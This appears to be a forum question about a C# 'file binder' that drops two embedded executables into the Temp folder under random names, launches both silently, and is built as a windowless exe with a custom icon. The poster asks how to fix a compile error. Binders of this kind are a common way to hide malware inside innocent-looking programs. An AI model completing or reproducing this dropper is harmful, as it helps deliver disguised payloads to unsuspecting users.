so, I am making a file binder.
saves1
and saves2
are the embedded resources and
I want to extract it in the temp folder.
Here's my code:
using System.IO;
using System.Diagnostics;
namespace _123
{
class Program
{
static void Main(string[] args)
{
string patdth = @"C:\Users\Alfred\AppData\Local\Temp";
byte[] lel1 = Properties.Resources.saves2;
byte[] lel = Properties.Resources.saves1;
File.WriteAllBytes(patdth + "\\hdhtehyr.exe", lel);
File.WriteAllBytes(patdth + "\\hdhdhdhgd.exe", lel1);
Process.Start(patdth + "\\hdhtehyr.exe");
Process.Start(patdth + "\\hdhdhdhgd.exe");
}
}
}
I get this error:
"Error CS0103 The name 'Properties' does not exist in the current context ConsoleApplication3".
edit:
I am inserting the resources dynamically here, as you can see my code "/resources" + Path" is my way of adding the resources.
public void compile2(string file)
{
CodeDomProvider provider = CodeDomProvider.CreateProvider("CSharp");
CompilerParameters compars = new CompilerParameters();
compars.ReferencedAssemblies.Add("System.dll");
compars.ReferencedAssemblies.Add("System.Reflection.dll");
compars.ReferencedAssemblies.Add("System.IO.dll");
compars.GenerateExecutable = true;
compars.GenerateInMemory = false;
compars.TreatWarningsAsErrors = false;
compars.OutputAssembly = "Binded.exe";
compars.CompilerOptions = "/resources:" + textBox10.Text;
compars.CompilerOptions = "/resources:" + textBox11.Text;
compars.CompilerOptions = "/t:winexe";
if (string.IsNullOrWhiteSpace(textBox12.Text))
{
}
else
{
compars.CompilerOptions = "/win32icon:" + textBox12.Text;
}
CompilerResults res = provider.CompileAssemblyFromSource(compars, file);
{
MessageBox.Show("Code compiled!", "Success");
}
}